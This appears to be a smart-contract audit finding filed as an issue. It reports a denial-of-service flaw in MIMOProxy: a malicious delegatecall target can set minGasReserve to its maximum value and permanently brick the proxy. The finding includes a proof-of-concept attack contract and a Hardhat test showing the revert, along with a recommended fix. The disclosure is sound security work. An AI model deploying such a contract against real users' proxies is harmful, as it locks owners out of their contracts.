Lines of code
<https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L79&gt;

Vulnerability details

The MIMOProxy contract defines a minGasReserve value as a storage variable:

MIMOProxy.sol#L18:

  /// @inheritdoc IMIMOProxy
  uint256 public override minGasReserve;

The execute function uses this minGasReserve value to calculate a gas stipend to provide to the target contract when executing a delegatecall:

MIMOProxy.sol#L74:

    // Reserve some gas to ensure that the function has enough to finish the execution.
    uint256 stipend = gasleft() - minGasReserve;

    // Delegate call to the target contract.
    bool success;
    (success, response) = target.delegatecall{ gas: stipend }(data);

Although minGasReserve is a public storage variable, it has no corresponding setter function. There used to be one in the upstream PRBProxy, but it was removed in version 2.0. The intent of this change was to simplify the proxy contract, while allowing users to delegatecall to their own target contract to set this value if necessary.

However, a malicious target contract can permanently block access to a MIMOProxy by setting minGasReserve to a very high value and forcing an underflow in the gas stipend calculation:

MIMOProxy.sol#L75

    // Reserve some gas to ensure that the function has enough to finish the execution.
    uint256 stipend = gasleft() - minGasReserve;

If a target contract intentionally or accidentally sets minGasReserve to a value higher than the block gas limit, the execute function will always underflow and revert. In this scenario, it is impossible to set minGasReserve back to a reasonable value, since the change must be made through the execute function.

Impact: If a user intentionally or accidentally sets a high minGasReserve, they may permanently lose access to their MIMOProxy. Malicious target contracts may attempt to trick users into bricking their proxy contracts using this method.

Recommendation

Restore the setMinGasReserve function removed in PRBProxy v2.0, which will allow the proxy owner to directly set this value:

    function setMinGasReserve(uint256 newMinGasReserve) external override {
        if (owner != msg.sender) {
            revert CustomErrors.NOT_OWNER(owner, msg.sender);
        }
        minGasReserve = newMinGasReserve;
    }

Test cases

We’ll use this ProxyAttacks helper contract to manipulate proxy storage. Note that it has the same storage layout as MIMOProxy.

contract ProxyAttacks {

   address public owner;
   uint256 public minGasReserve;
   mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;

   // Selector 0xf613a687
   function returnTrue() external pure returns (bool) {
     return true;
   }

   // Selector 0x5f9981ae
   function setGasReserve() external {
     minGasReserve = type(uint256).max;
   }
}

Then deploy the ProxyAttacks helper in a test environment and use MIMOProxy to delegatecall into it:

import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAttacks } from '../../typechain';

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MIMOProxy");

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getContract("MIMOProxyFactory");

  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
  const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getContract("MIMOProxyRegistry");

  await deploy("ProxyAttacks", {
    from: owner.address,
    args: [],
  });
  const proxyAttacks: ProxyAttacks = await ethers.getContract("ProxyAttacks");

  return {
    owner,
    attacker,
    mimoProxyBase,
    mimoProxyFactory,
    mimoProxyRegistry,
    proxyAttacks,
  };
});

describe("Proxy attack tests", () => {
  it("DoS by manipulating gas reserve", async () => {
    const { owner, mimoProxyRegistry, proxyAttacks } = await setup();
    await mimoProxyRegistry.deploy();
    const currentProxy = await mimoProxyRegistry.getCurrentProxy(owner.address);

    const proxy = await ethers.getContractAt("MIMOProxy", currentProxy);

    // Call setGasReserve on ProxyAttacks contract
    await proxy.execute(proxyAttacks.address, "0x5f9981ae");

    // Proxy's minGasReserve is now type(uint256).max
    expect(await proxy.minGasReserve()).to.equal(ethers.constants.MaxUint256);

    // All calls revert due to underflow calculating gas stipend
    await expect(proxy.execute(proxyAttacks.address, "0xf613a687")).to.be.revertedWith(
      "Arithmetic operation underflowed or overflowed outside of an unchecked block",
    );
  });
});  

---

The text was updated successfully, but these errors were encountered:

All reactions